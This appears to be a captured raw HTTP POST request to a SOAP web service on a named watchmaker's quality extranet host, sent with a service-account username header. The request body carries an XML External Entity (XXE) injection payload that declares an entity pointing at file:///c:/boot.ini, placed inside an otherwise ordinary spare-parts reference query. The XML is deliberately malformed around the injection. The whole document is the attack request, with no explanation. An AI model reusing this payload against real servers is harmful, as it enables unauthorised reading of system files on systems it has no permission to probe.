POST /extranet-ws/SparePartRef HTTP/1.1
Host: jlsafe.quality.jaeger-lecoultre.com
Accept: */*
Content-Type: text/xml
username:jl-serviceAccount
Content-Length: 1097
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cs="http://richemont.com/xi/APPL/CS">
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
</soapenv:header>   <soapenv:Body>      <cs:CS_BOM_ReferenceCheckQuery>         <CommercialRef>JLQA143103</CommercialRef>         <!--Optional:-->         <Brand>JLC</Brand>         <Lang>FR</Lang>         <ComponentCodeList>            <!--Zero or more repetitions:-->            <ComponentCode>3002</ComponentCode>            <ComponentCode>3004</ComponentCode>            <ComponentCode>3025</ComponentCode>            <ComponentCode>3042</ComponentCode>            <ComponentCode>3049</ComponentCode>            <ComponentCode>3054</ComponentCode>            <ComponentCode>3069</ComponentCode>            <ComponentCode>3070</ComponentCode>            <ComponentCode>3085</ComponentCode>            <ComponentCode>3100</ComponentCode>         </ComponentCodeList>      </cs:CS_BOM_ReferenceCheckQuery>   </soapenv:Body>